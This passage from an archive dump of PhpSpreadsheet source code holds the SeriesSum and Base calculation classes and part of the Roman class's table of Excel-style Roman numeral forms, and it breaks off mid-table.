CATEGORY_FINANCIAL = 'Financial'; const CATEGORY_INFORMATION = 'Information'; const CATEGORY_LOGICAL = 'Logical'; const CATEGORY_LOOKUP_AND_REFERENCE = 'Lookup and Reference'; const CATEGORY_MATH_AND_TRIG = 'Math and Trig'; const CATEGORY_STATISTICAL = 'Statistical'; const CATEGORY_TEXT_AND_DATA = 'Text and Data'; const CATEGORY_WEB = 'Web'; const CATEGORY_UNCATEGORISED = 'Uncategorised'; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/SeriesSum.php000064400000003171151676714400023656 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class SeriesSum { use ArrayEnabled; /** * SERIESSUM. * * Returns the sum of a power series * * @param mixed $x Input value * @param mixed $n Initial power * @param mixed $m Step * @param mixed[] $args An array of coefficients for the Data Series * * @return array|float|int|string The result, or a string containing an error */ public static function evaluate(mixed $x, mixed $n, mixed $m, ...$args): array|string|float|int { if (is_array($x) || is_array($n) || is_array($m)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 3, $x, $n, $m, ...$args); } try { $x = Helpers::validateNumericNullSubstitution($x, 0); $n = Helpers::validateNumericNullSubstitution($n, 0); $m = Helpers::validateNumericNullSubstitution($m, 0); // Loop through arguments $aArgs = Functions::flattenArray($args); $returnValue = 0; $i = 0; foreach ($aArgs as $argx) { if ($argx !== null) { $arg = Helpers::validateNumericNullSubstitution($argx, 0); $returnValue += $arg * $x ** ($n + ($m * $i)); ++$i; } } } catch (Exception $e) { return $e->getMessage(); } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Base.php000064400000004351151676714400022612 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Base { use ArrayEnabled; /** * BASE. * * Converts a number into a text representation with the given radix (base). * * Excel Function: * BASE(Number, Radix [Min_length]) * * @param mixed $number expect float * Or can be an array of values * @param mixed $radix expect float * Or can be an array of values * @param mixed $minLength expect int or null * Or can be an array of values * * @return array|string the text representation with the given radix (base) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function evaluate(mixed $number, mixed $radix, mixed $minLength = null): array|string { if (is_array($number) || is_array($radix) || is_array($minLength)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $radix, $minLength); } try { $number = (float) floor(Helpers::validateNumericNullBool($number)); $radix = (int) Helpers::validateNumericNullBool($radix); } catch (Exception $e) { return $e->getMessage(); } return self::calculate($number, $radix, $minLength); } private static function calculate(float $number, int $radix, mixed $minLength): string { if ($minLength === null || is_numeric($minLength)) { if ($number < 0 || $number >= 2 ** 53 || $radix < 2 || $radix > 36) { return ExcelError::NAN(); // Numeric range constraints } $outcome = strtoupper((string) base_convert("$number", 10, $radix)); if ($minLength !== null) { $outcome = str_pad($outcome, (int) $minLength, '0', STR_PAD_LEFT); // String padding } return $outcome; } return ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/MathTrig/Roman.php000064400000064151151676714400023020 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\MathTrig; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Roman { use ArrayEnabled; private const VALUES = [ 45 => ['VL'], 46 => ['VLI'], 47 => ['VLII'], 48 => ['VLIII'], 49 => ['VLIV', 'IL'], 95 => ['VC'], 96 => ['VCI'], 97 => ['VCII'], 98 => ['VCIII'], 99 => ['VCIV', 'IC'], 145 => ['CVL'], 146 => ['CVLI'], 147 => ['CVLII'], 148 => ['CVLIII'], 149 => ['CVLIV', 'CIL'], 195 => ['CVC'], 196 => ['CVCI'], 197 => ['CVCII'], 198 => ['CVCIII'], 199 => ['CVCIV', 'CIC'], 245 => ['CCVL'], 246 => ['CCVLI'], 247 => ['CCVLII'], 248 => ['CCVLIII'], 249 => ['CCVLIV', 'CCIL'], 295 => ['CCVC'], 296 => ['CCVCI'], 297 => ['CCVCII'], 298 => ['CCVCIII'], 299 => ['CCVCIV', 'CCIC'], 345 => ['CCCVL'], 346 => ['CCCVLI'], 347 => ['CCCVLII'], 348 => ['CCCVLIII'], 349 => ['CCCVLIV', 'CCCIL'], 395 => ['CCCVC'], 396 => ['CCCVCI'], 397 => ['CCCVCII'], 398 => ['CCCVCIII'], 399 => ['CCCVCIV', 'CCCIC'], 445 => ['CDVL'], 446 => ['CDVLI'], 447 => ['CDVLII'], 448 => ['CDVLIII'], 449 => ['CDVLIV', 'CDIL'], 450 => ['LD'], 451 => ['LDI'], 452 => ['LDII'], 453 => ['LDIII'], 454 => ['LDIV'], 455 => ['LDV'], 456 => ['LDVI'], 457 => ['LDVII'], 458 => ['LDVIII'], 459 => ['LDIX'], 460 => ['LDX'], 461 => ['LDXI'], 462 => ['LDXII'], 463 => ['LDXIII'], 464 => ['LDXIV'], 465 => ['LDXV'], 466 => ['LDXVI'], 467 => ['LDXVII'], 468 => ['LDXVIII'], 469 => ['LDXIX'], 470 => ['LDXX'], 471 => ['LDXXI'], 472 => ['LDXXII'], 473 => ['LDXXIII'], 474 => ['LDXXIV'], 475 => ['LDXXV'], 476 => ['LDXXVI'], 477 => ['LDXXVII'], 478 => ['LDXXVIII'], 479 => ['LDXXIX'], 480 => ['LDXXX'], 481 => ['LDXXXI'], 482 => ['LDXXXII'], 483 => ['LDXXXIII'], 484 => ['LDXXXIV'], 485 => ['LDXXXV'], 486 => ['LDXXXVI'], 487 => ['LDXXXVII'], 488 => ['LDXXXVIII'], 489 => ['LDXXXIX'], 490 => ['LDXL', 'XD'], 491 => ['LDXLI', 'XDI'], 492 => ['LDXLII', 'XDII'], 493 => ['LDXLIII', 'XDIII'], 494 => ['LDXLIV', 'XDIV'], 495 => ['LDVL', 'XDV', 'VD'], 496 => ['LDVLI', 'XDVI', 'VDI'], 497 => ['LDVLII', 'XDVII', 'VDII'], 498 => ['LDVLIII', 'XDVIII', 'VDIII'], 499 => ['LDVLIV', 'XDIX', 'VDIV', 'ID'], 545 => ['DVL'], 546 => ['DVLI'], 547 => ['DVLII'], 548 => ['DVLIII'], 549 => ['DVLIV', 'DIL'], 595 => ['DVC'], 596 => ['DVCI'], 597 => ['DVCII'], 598 => ['DVCIII'], 599 => ['DVCIV', 'DIC'], 645 => ['DCVL'], 646 => ['DCVLI'], 647 => ['DCVLII'], 648 => ['DCVLIII'], 649 => ['DCVLIV', 'DCIL'], 695 => ['DCVC'], 696 => ['DCVCI'], 697 => ['DCVCII'], 698 => ['DCVCIII'], 699 => ['DCVCIV', 'DCIC'], 745 => ['DCCVL'], 746 => ['DCCVLI'], 747 => ['DCCVLII'], 748 => ['DCCVLIII'], 749 => ['DCCVLIV', 'DCCIL'], 795 => ['DCCVC'], 796 => ['DCCVCI'], 797 => ['DCCVCII'], 798 => ['DCCVCIII'], 799 => ['DCCVCIV', 'DCCIC'], 845 => ['DCCCVL'], 846 => ['DCCCVLI'], 847 => ['DCCCVLII'], 848 => ['DCCCVLIII'], 849 => ['DCCCVLIV', 'DCCCIL'], 895 => ['DCCCVC'], 896 => ['DCCCVCI'], 897 => ['DCCCVCII'], 898 => ['DCCCVCIII'], 899 => ['DCCCVCIV', 'DCCCIC'], 945 => ['CMVL'], 946 => ['CMVLI'], 947 => ['CMVLII'], 948 => ['CMVLIII'], 949 => ['CMVLIV', 'CMIL'], 950 => ['LM'], 951 => ['LMI'], 952 => ['LMII'], 953 => ['LMIII'], 954 => ['LMIV'], 955 => ['LMV'], 956 => ['LMVI'], 957 => ['LMVII'], 958 => ['LMVIII'], 959 => ['LMIX'], 960 => ['LMX'], 961 => ['LMXI'], 962 => ['LMXII'], 963 => ['LMXIII'], 964 => ['LMXIV'], 965 => ['LMXV'], 966 => ['LMXVI'], 967 => ['LMXVII'], 968 => ['LMXVIII'], 969 => ['LMXIX'], 970 => ['LMXX'], 971 => ['LMXXI'], 972 => ['LMXXII'], 973 => ['LMXXIII'], 974 => ['LMXXIV'], 975 => ['LMXXV'], 976 => ['LMXXVI'], 977 => ['LMXXVII'], 978 => ['LMXXVIII'], 979 => ['LMXXIX'], 980 => ['LMXXX'], 981 => ['LMXXXI'], 982 => ['LMXXXII'], 983 => ['LMXXXIII'], 984 => ['LMXXXIV'], 985 => ['LMXXXV'], 986 => ['LMXXXVI'], 987 => ['LMXXXVII'], 988 => ['LMXXXVIII'], 989 => ['LMXXXIX'], 990 => ['LMXL', 'XM'], 991 => ['LMXLI', 'XMI'], 992 => ['LMXLII', 'XMII'], 993 => ['LMXLIII', 'XMIII'], 994 => ['LMXLIV', 'XMIV'], 995 => ['LMVL', 'XMV', 'VM'], 996 => ['LMVLI', 'XMVI', 'VMI'], 997 => ['LMVLII', 'XMVII', 'VMII'], 998 => ['LMVLIII', 'XMVIII', 'VMIII'], 999 => ['LMVLIV', 'XMIX', 'VMIV', 'IM'], 1045 => ['MVL'], 1046 => ['MVLI'], 1047 => ['MVLII'], 1048 => ['MVLIII'], 1049 => ['MVLIV', 'MIL'], 1095 => ['MVC'], 1096 => ['MVCI'], 1097 => ['MVCII'], 1098 => ['MVCIII'], 1099 => ['MVCIV', 'MIC'], 1145 => ['MCVL'], 1146 => ['MCVLI'], 1147 => ['MCVLII'], 1148 => ['MCVLIII'], 1149 => ['MCVLIV', 'MCIL'], 1195 => ['MCVC'], 1196 => ['MCVCI'], 1197 => ['MCVCII'], 1198 => ['MCVCIII'], 1199 => ['MCVCIV', 'MCIC'], 1245 => ['MCCVL'], 1246 => ['MCCVLI'], 1247 => ['MCCVLII'], 1248 => ['MCCVLIII'], 1249 => ['MCCVLIV', 'MCCIL'], 1295 => ['MCCVC'], 1296 => ['MCCVCI'], 1297 => ['MCCVCII'], 1298 => ['MCCVCIII'], 1299 => ['MCCVCIV', 'MCCIC'], 1345 => ['MCCCVL'], 1346 => ['MCCCVLI'], 1347 => ['MCCCVLII'], 1348 => ['MCCCVLIII'], 1349 => ['MCCCVLIV', 'MCCCIL'], 1395 => ['MCCCVC'], 1396 => ['MCCCVCI'], 1397 => ['MCCCVCII'], 1398 => ['MCCCVCIII'], 1399 => ['MCCCVCIV', 'MCCCIC'], 1445 => ['MCDVL'], 1446 => ['MCDVLI'], 1447 => ['MCDVLII'], 1448 => ['MCDVLIII'], 1449 => ['MCDVLIV', 'MCDIL'], 1450 => ['MLD'], 1451 => ['MLDI'], 1452 => ['MLDII'], 1453 => ['MLDIII'], 1454 => ['MLDIV'], 1455 => ['MLDV'], 1456 => ['MLDVI'], 1457 => ['MLDVII'], 1458 => ['MLDVIII'], 1459 => ['MLDIX'], 1460 => ['MLDX'], 1461 => ['MLDXI'], 1462 => ['MLDXII'], 1463 => ['MLDXIII'], 1464 => ['MLDXIV'], 1465 => ['MLDXV'], 1466 => ['MLDXVI'], 1467 => ['MLDXVII'], 1468 => ['MLDXVIII'], 1469 => ['MLDXIX'], 1470 => ['MLDXX'], 1471 => ['MLDXXI'], 1472 => ['MLDXXII'], 1473 => ['MLDXXIII'], 1474 => ['MLDXXIV'], 1475 => ['MLDXXV'], 1476 => ['MLDXXVI'], 1477 => ['MLDXXVII'], 1478 => ['MLDXXVIII'], 1479 => ['MLDXXIX'], 1480 => ['MLDXXX'], 1481 => ['MLDXXXI'], 1482 => ['MLDXXXII'], 1483 => ['MLDXXXIII'], 1484 => ['MLDXXXIV'], 1485 => ['MLDXXXV'], 1486 => ['MLDXXXVI'], 1487 => ['MLDXXXVII'], 1488 => ['MLDXXXVIII'], 1489 => ['MLDXXXIX'], 1490 => ['MLDXL', 'MXD'], 1491 => ['MLDXLI', 'MXDI'], 1492 => ['MLDXLII', 'MXDII'], 1493 => ['MLDXLIII', 'MXDIII'], 1494 => ['MLDXLIV', 'MXDIV'], 1495 => ['MLDVL', 'MXDV', 'MVD'], 1496 => ['MLDVLI', 'MXDVI', 'MVDI'], 1497 => ['MLDVLII', 'MXDVII', 'MVDII'], 1498 => ['MLDVLIII', 'MXDVIII', 'MVDIII'], 1499 => ['MLDVLIV', 'MXDIX', 'MVDIV', 'MID'], 1545 => ['MDVL'], 1546 => ['MDVLI'], 1547 => ['MDVLII'], 1548 => ['MDVLIII'], 1549 => ['MDVLIV', 'MDIL'], 1595 => ['MDVC'], 1596 => ['MDVCI'], 1597 => ['MDVCII'], 1598 => ['MDVCIII'], 1599 => ['MDVCIV', 'MDIC'], 1645 => ['MDCVL'], 1646 => ['MDCVLI'], 1647 => ['MDCVLII'], 1648 => ['MDCVLIII'], 1649 => ['MDCVLIV', 'MDCIL'], 1695 => ['MDCVC'], 1696 => ['MDCVCI'], 1697 => ['MDCVCII'], 1698 => ['MDCVCIII'], 1699 => ['MDCVCIV', 'MDCIC'], 1745 => ['MDCCVL'], 1746 => ['MDCCVLI'], 1747 => ['MDCCVLII'], 1748 => ['MDCCVLIII'], 1749 => ['MDCCVLIV', 'MDCCIL'], 1795 => ['MDCCVC'], 1796 => ['MDCCVCI'], 1797 => ['MDCCVCII'], 1798 => ['MDCCVCIII'], 1799 => ['MDCCVCIV', 'MDCCIC'], 1845 => ['MDCCCVL'], 1846 => ['MDCCCVLI'], 1847 => ['MDCCCVLII'], 1848 => ['MDCCCVLIII'], 1849 => ['MDCCCVLIV', 'MDCCCIL'], 1895 => ['MDCCCVC'], 1896 => ['MDCCCVCI'], 1897 => ['MDCCCVCII'], 1898 => ['MDCCCVCIII'], 1899 => ['MDCCCVCIV', 'MDCCCIC'], 1945 => ['MCMVL'], 1946 => ['MCMVLI'], 1947 => ['MCMVLII'], 1948 => ['MCMVLIII'], 1949 => ['MCMVLIV', 'MCMIL'], 1950 => ['MLM'], 1951 => ['MLMI'], 1952 => ['MLMII'], 1953 => ['MLMIII'], 1954 => ['MLMIV'], 1955 => ['MLMV'], 1956 => ['MLMVI'], 1957 => ['MLMVII'], 1958 => ['MLMVIII'], 1959 => ['MLMIX'], 1960 => ['MLMX'], 1961 => ['MLMXI'], 1962 => ['MLMXII'], 1963 => ['MLMXIII'], 1964 => ['MLMXIV'], 1965 => ['MLMXV'], 1966 => ['MLMXVI'], 1967 => ['MLMXVII'], 1968 => ['MLMXVIII'], 1969 => ['MLMXIX'], 1970 => ['MLMXX'], 1971 => ['MLMXXI'], 1972 => ['MLMXXII'], 1973 => ['MLMXXIII'], 1974 => ['MLMXXIV'], 1975 => ['MLMXXV'], 1976 => ['MLMXXVI'], 1977 => ['MLMXXVII'], 1978 => ['MLMXXVIII'], 1979 => ['MLMXXIX'], 1980 => ['MLMXXX'], 1981 => ['MLMXXXI'], 1982 => ['MLMXXXII'], 1983 => ['MLMXXXIII'], 1984 => ['MLMXXXIV'], 1985 => ['MLMXXXV'], 1986 => ['MLMXXXVI'], 1987 => ['MLMXXXVII'], 1988 => ['MLMXXXVIII'], 1989 => ['MLMXXXIX'], 1990 => ['MLMXL', 'MXM'], 1991 => ['MLMXLI', 'MXMI'], 1992 => ['MLMXLII', 'MXMII'], 1993 => ['MLMXLIII', 'MXMIII'], 1994 => ['MLMXLIV', 'MXMIV'], 1995 => ['MLMVL', 'MXMV', 'MVM'], 1996 => ['MLMVLI', 'MXMVI', 'MVMI'], 1997 => ['MLMVLII', 'MXMVII', 'MVMII'], 1998 => ['MLMVLIII', 'MXMVIII', 'MVMIII'], 1999 => ['MLMVLIV', 'MXMIX', 'MVMIV', 'MIM'], 2045 => ['MMVL'], 2046 => ['MMVLI'], 2047 => ['MMVLII'], 2048 => ['MMVLIII'], 2049 => ['MMVLIV', 'MMIL'], 2095 => ['MMVC'], 2096 => ['MMVCI'], 2097 => ['MMVCII'], 2098 => ['MMVCIII'], 2099 => ['MMVCIV', 'MMIC'], 2145 => ['MMCVL'], 2146 => ['MMCVLI'], 2147 => ['MMCVLII'], 2148 => ['MMCVLIII'], 2149 => ['MMCVLIV', 'MMCIL'], 2195 => ['MMCVC'], 2196 => ['MMCVCI'], 2197 => ['MMCVCII'], 2198 => ['MMCVCIII'], 2199 => ['MMCVCIV', 'MMCIC'], 2245 => ['MMCCVL'], 2246 => ['MMCCVLI'], 2247 => ['MMCCVLII'], 2248 => ['MMCCVLIII'], 2249 => ['MMCCVLIV', 'MMCCIL'], 2295 => ['MMCCVC'], 2296 => ['MMCCVCI'], 2297 => ['MMCCVCII'], 2298 => ['MMCCVCIII'], 2299 => ['MMCCVCIV', 'MMCCIC'], 2345 => ['MMCCCVL'], 2346 => ['MMCCCVLI'], 2347 => ['MMCCCVLII'], 2348 => ['MMCCCVLIII'], 2349 => ['MMCCCVLIV', 'MMCCCIL'], 2395 => ['MMCCCVC'], 2396 => ['MMCCCVCI'], 2397 => ['MMCCCVCII'], 2398 => ['MMCCCVCIII'], 2399 => ['MMCCCVCIV', 'MMCCCIC'], 2445 => ['MMCDVL'], 2446 => ['MMCDVLI'], 2447 => ['MMCDVLII'], 2448 => ['MMCDVLIII'], 2449 => ['MMCDVLIV', 'MMCDIL'], 2450 => ['MMLD'], 2451 => ['MMLDI'], 2452 => ['MMLDII'], 2453 => ['MMLDIII'], 2454 => ['MMLDIV'], 2455 => ['MMLDV'], 2456 => ['MMLDVI'], 2457 => ['MMLDVII'], 2458 => ['MMLDVIII'], 2459 => ['MMLDIX'], 2460 => ['MMLDX'], 2461 => ['MMLDXI'], 2462 => ['MMLDXII'], 2463 => ['MMLDXIII'], 2464 => ['MMLDXIV'], 2465 => ['MMLDXV'], 2466 => ['MMLDXVI'], 2467 => ['MMLDXVII'], 2468 => ['MMLDXVIII'], 2469 => ['MMLDXIX'], 2470 => ['MMLDXX'], 2471 => ['MMLDXXI'], 2472 => ['MMLDXXII'], 2473 => ['MMLDXXIII'], 2474 => ['MMLDXXIV'], 2475 => ['MMLDXXV'], 2476 => ['MMLDXXVI'], 2477 => ['MMLDXXVII'], 2478 => ['MMLDXXVIII'], 2479 => ['MMLDXXIX'], 2480 => ['MMLDXXX'], 2481 => ['MMLDXXXI'], 2482 => ['MMLDXXXII'], 2483 => ['MMLDXXXIII'], 2484 => ['MMLDXXXIV'], 2485 => ['MMLDXXXV'], 2486 => ['MMLDXXXVI'], 2487 => ['MMLDXXXVII'], 2488 => ['MMLDXXXVIII'], 2489 => ['MMLDXXXIX'], 2490 => ['MMLDXL', 'MMXD'], 2491 => ['MMLDXLI', 'MMXDI'], 2492 => ['MMLDXLII', 'MMXDII'], 2493 => ['MMLDXLIII', 'MMXDIII'], 2494 => ['MMLDXLIV', 'MMXDIV'], 2495 => ['MMLDVL', 'MMXDV', 'MMVD'], 2496 => ['MMLDVLI', 'MMXDVI', 'MMVDI'], 2497 => ['MMLDVLII', 'MMXDVII', 'MMVDII'], 2498 => ['MMLDVLIII', 'MMXDVIII', 'MMVDIII'], 2499 => ['MMLDVLIV', 'MMXDIX', 'MMVDIV', 'MMID'], 2545 => ['MMDVL'], 2546 => ['MMDVLI'], 2547 => ['MMDVLII'], 2548 => ['MMDVLIII'], 2549 => ['MMDVLIV', 'MMDIL'], 2595 => ['MMDVC'], 2596 => ['MMDVCI'], 2597 => ['MMDVCII'], 2598 => ['MMDVCIII'], 2599 => ['MMDVCIV', 'MMDIC'], 2645 => ['MMDCVL'], 2646 => ['MMDCVLI'], 2647 => ['MMDCVLII'], 2648 => ['MMDCVLIII'], 2649 => ['MMDCVLIV', 'MMDCIL'], 2695 => ['MMDCVC'], 2696 => ['MMDCVCI'], 2697 => ['MMDCVCII'], 2698 => ['MMDCVCIII'], 2699 => ['MMDCVCIV', 'MMDCIC'], 2745 => ['MMDCCVL'], 2746 => ['MMDCCVLI'], 2747 => ['MMDCCVLII'], 2748 => ['MMDCCVLIII'], 2749 => ['MMDCCVLIV', 'MMDCCIL'], 2795 => ['MMDCCVC'], 2796 => ['MMDCCVCI'], 2797 => ['MMDCCVCII'], 2798 => ['MMDCCVCIII'], 2799 => ['MMDCCVCIV', 'MMDCCIC'], 2845 => ['MMDCCCVL'], 2846 => ['MMDCCCVLI'], 2847 => ['MMDCCCVLII'], 2848 => ['MMDCCCVLIII'], 2849 => ['MMDCCCVLIV', 'MMDCCCIL'], 2895 => ['MMDCCCVC'], 2896 => ['MMDCCCVCI'], 2897 => ['MMDCCCVCII'], 2898 => ['MMDCCCVCIII'], 2899 => ['MMDCCCVCIV', 'MMDCCCIC'], 2945 => ['MMCMVL'], 2946 => ['MMCMVLI'], 2947 => ['MMCMVLII'], 2948 => ['MMCMVLIII'], 2949 => ['MMCMVLIV', 'MMCMIL'], 2950 => ['MMLM'], 2951 => ['MMLMI'], 2952 => ['MMLMII'], 2953 => ['MMLMIII'], 2954 => ['MMLMIV'], 2955 => ['MMLMV'], 2956 => ['MMLMVI'], 2957 => ['MMLMVII'], 2958 => ['MMLMVIII'], 2959 => ['MMLMIX'], 2960 => ['MMLMX'], 2961 => ['MMLMXI'], 2962 => ['MMLMXII'], 2963 => ['MMLMXIII'], 2964 => ['MMLMXIV'], 2965 => ['MMLMXV'], 2966 => ['MMLMXVI'], 2967 => ['MMLMXVII'], 2968 => ['MMLMXVIII'], 2969 => ['MMLMXIX'], 2970 => ['MMLMXX'], 2971 => ['MMLMXXI'], 2972 => ['MMLMXXII'], 2973 => ['MMLMXXIII'], 2974 => ['MMLMXXIV'], 2975 => ['MMLMXXV'], 2976 => ['MMLMXXVI'], 2977 => ['MMLMXXVII'], 2978 => ['MMLMXXVIII'], 2979 => ['MMLMXXIX'], 2980 => ['MMLMXXX'], 2981 => ['MMLMXXXI'], 2982 => ['MMLMXXXII'], 2983 => ['MMLMXXXIII'], 2984 => ['MMLMXXXIV'], 2985 => ['MMLMXXXV'], 2986 => ['MMLMXXXVI'], 2987 => ['MMLMXXXVII'], 2988 => ['MMLMXXXVIII'], 2989 => ['MMLMXXXIX'], 2990 => ['MMLMXL', 'MMXM'], 2991 => ['MMLMXLI', 'MMXMI'], 2992 => ['MMLMXLII', 'MMXMII'], 2993 => ['MMLMXLIII', 'MMXMIII'], 2994 => ['MMLMXLIV', 'MMXMIV'], 2995 => ['MMLMVL', 'MMXMV', 'MMVM'], 2996 => ['MMLMVLI', 'MMXMVI', 'MMVMI'], 2997 => ['MMLMVLII', 'MMXMVII', 'MMVMII'], 2998 => ['MMLMVLIII', 'MMXMVIII', 'MMVMIII'], 2999 => ['MMLMVLIV', 'MMXMIX', 'MMVMIV', 'MMIM'], 3045 => ['MMMVL'], 3046 => ['MMMVLI'], 3047 => ['MMMVLII'], 3048 => ['MMMVLIII'], 3049 => ['MMMVLIV', 'MMMIL'], 3095 => ['MMMVC'], 3096 => ['MMMVCI'], 3097 => ['MMMVCII'], 3098 => ['MMMVCIII'], 3099 => ['MMMVCIV', 'MMMIC'], 3145 => ['MMMCVL'], 3146 => ['MMMCVLI'], 3147 => ['MMMCVLII'], 3148 => ['MMMCVLIII'], 3149 => ['MMMCVLIV', 'MMMCIL'], 3195 => ['MMMCVC'], 3196 => ['MMMCVCI'], 3197 => ['MMMCVCII'], 3198 => ['MMMCVCIII'], 3199 => ['MMMCVCIV', 'MMMCIC'], 3245 => ['MMMCCVL'], 3246 => ['MMMCCVLI'], 3247 => ['MMMCCVLII'], 3248 => ['MMMCCVLIII'], 3249 => ['MMMCCVLIV', 'MMMCCIL'], 3295 => ['MMMCCVC'], 3296 => ['MMMCCVCI'], 3297 => ['MMMCCVCII'], 3298 => ['MMMCCVCIII'], 3299 => ['MMMCCVCIV', 'MMMCCIC'], 3345 => ['MMMCCCVL'], 3346 => ['MMMCCCVLI'], 3347 => ['MMMCCCVLII'], 3348 => ['MMMCCCVLIII'], 3349 => ['MMMCCCVLIV', 'MMMCCCIL'], 3395 => ['MMMCCCVC'], 3396 => ['MMMCCCVCI'], 3397 => ['MMMCCCVCII'], 3398 => ['MMMCCCVCIII'], 3399 => ['MMMCCCVCIV', 'MMMCCCIC'], 3445 => ['MMMCDVL'], 3446 => ['MMMCDVLI'], 3447 => ['MMMCDVLII'], 3448 => ['MMMCDVLIII'], 3449 => ['MMMCDVLIV', 'MMMCDIL'], 3450 => ['MMMLD'], 3451 => ['MMMLDI'], 3452 => ['MMMLDII'], 3453 => ['MMMLDIII'], 3454 => ['MMMLDIV'], 3455 => ['MMMLDV'], 3456 => ['MMMLDVI'], 3457 => ['MMMLDVII'], 3458 => ['MMMLDVIII'], 3459 => ['MMMLDIX'], 3460 => ['MMMLDX'], 3461 => ['MMMLDXI'], 3462 => ['MMMLDXII'], 3463 => ['MMMLDXIII'], 3464 => ['MMMLDXIV'], 3465 => ['MMMLDXV'], 3466 => ['MMMLDXVI'], 3467 => ['MMMLDXVII'], 3468 => ['MMMLDXVIII'], 3469 => ['MMMLDXIX'], 3470 => ['MMMLDXX'], 3471 => ['MMMLDXXI'], 3472 => ['MMMLDXXII'], 3473 => ['MMMLDXXIII'], 3474 => ['MMMLDXXIV'], 3475 => ['MMMLDXXV'], 3476 => ['MMMLDXXVI'], 3477 => ['MMMLDXXVII'], 3478 => ['MMMLDXXVIII'], 3479 => ['MMMLDXXIX'], 3480 => ['MMMLDXXX'], 3481 => ['MMMLDXXXI'], 3482 => ['MMMLDXXXII'], 3483 => ['MMMLDXXXIII'], 3484 => ['MMMLDXXXIV'], 3485 => ['MMMLDXXXV'], 3486 => ['MMMLDXXXVI'], 3487 => ['MMMLDXXXVII'], 3488 => ['MMMLDXXXVIII'], 3489 => ['MMMLDXXXIX'], 3490 => ['MMMLDXL', 'MMMXD'], 3491 => ['MMMLDXLI', 'MMMXDI'], 3492 => ['MMMLDXLII', 'MMMXDII'], 3493 => ['MMMLDXLIII', 'MMMXDIII'], 3494 => ['MMMLDXLIV', 'MMMXDIV'], 3495 => ['MMMLDVL', 'MMMXDV', 'MMMVD'], 3496 => ['MMMLDVLI', 'MMMXDVI', 'MMMVDI'], 3497 => ['MMMLDVLII', 'MMMXDVII', 'MMMVDII'], 3498 => ['MMMLDVLIII', 'MMMXDVIII', 'MMMVDIII'], 3499 => ['MMMLDVLIV', 'MMMXDIX', 'MMMVDIV', 'MMMID'], 3545 => ['MMMDVL'], 3546 => ['MMMDVLI'], 3547 => ['MMMDVLII'], 3548 => ['MMMDVLIII'], 3549 => ['MMMDVLIV', 'MMMDIL'], 3595 => ['MMMDVC'], 3596 => ['MMMDVCI'], 3597 => ['MMMDVCII'], 3598 => ['MMMDVCIII'], 3599 => ['MMMDVCIV', 'MMMDIC'], 3645 => ['MMMDCVL'], 3646 => ['MMMDCVLI'], 3647 => ['MMMDCVLII'], 3648 => ['MMMDCVLIII'], 3649 => ['MMMDCVLIV', 'MMMDCIL'], 3695 => ['MMMDCVC'], 3696 => ['MMMDCVCI'], 3697 => ['MMMDCVCII'], 3698 => ['MMMDCVCIII'], 3699 => ['MMMDCVCIV', 'MMMDCIC'], 3745 => ['MMMDCCVL'], 3746 => ['MMMDCCVLI'], 3747 => ['MMMDCCVLII'], 3748 => ['MMMDCCVLIII'], 3749 => ['MMMDCCVLIV', 'MMMDCCIL'], 3795 => ['MMMDCCVC'], 3796 => ['MMMDCCVCI'], 3797 => ['MMMDCCVCII'], 3798 => ['MMMDCCVCIII'], 3799 => ['MMMDCCVCIV', 'MMMDCCIC'], 3845 => ['MMMDCCCVL'], 3846 => ['MMMDCCCVLI'], 3847 => ['MMMDCCCVLII'], 3848 => ['MMMDCCCVLIII'], 3849 => ['MMMDCCCVLIV', 'MMMDCCCIL'], 3895 => ['MMMDCCCVC'], 3896 => ['MMMDCCCVCI'], 3897 => ['MMMDCCCVCII'], 3898 => ['MMMDCCCVCIII'], 3899 => ['MMMDCCCVCIV', 'MMMDCCCIC'], 3945 => ['MMMCMVL'], 3946 => ['MMMCMVLI'], 3947 => ['MMMCMVLII'], 3948 => ['MMMCMVLIII'], 3949 => ['MMMCMVLIV', 'MMMCMIL'], 3950 => ['MMMLM'], 3951 => ['MMMLMI'], 3952 => ['MMMLMII'], 3953 => ['MMMLMIII'], 3954 => ['MMMLMIV'], 3955 => ['MMMLMV'], 3956 => ['MMMLMVI'], 3957 => ['MMMLMVII'], 3958 => ['MMMLMVIII'], 3959 => ['MMMLMIX'], 3960 => ['MMMLMX'], 3961 => ['MMMLMXI'], 3962 => ['MMMLMXII'], 3963 => ['MMMLMXIII'], 3964 => ['MMMLMXIV'], 3965 => ['MMMLMXV'], 3966 => ['MMMLMXVI'], 3967 => ['MMMLMXVII'], 3968 => ['MMMLMXVIII'], 3969 => ['MMMLMXIX'], 3970 => ['MMMLMXX'], 3971 => ['MMMLMXXI'], 3972 => ['MMMLMXXII'], 3973 => ['MMMLMXXIII'], 3974 => ['MMMLMXXIV'], 3975 => ['MMMLMXXV'], 3976 => ['MMMLMXXVI'], 3977 => ['MMMLMXXVII'], 3978 => ['MMMLMXXVIII'], 3979 => ['MMMLMXXIX'], 3980 => ['MMMLMXXX'], 3981 => ['MMMLMXXXI'], 3982 => ['MMMLMXXXII'], 3983 => ['MMMLMXXXIII'], 3984 => ['MMMLMXXXIV'], 3985 => ['MMMLMXXXV'], 3986 => ['MMMLMXXXVI'], 3987 => ['MMMLMXXXVII'], 3988 => ['MMMLMXXXVIII'], 3989 => ['MMMLMXXXIX'], 3990 => ['MMMLMXL', 'MMMXM'], 3991 => ['MMMLMXLI', 'MMMXMI'], 3992 => ['MMMLMXLII', 'MMMXMII'], 3993 => ['MMMLMXLIII', 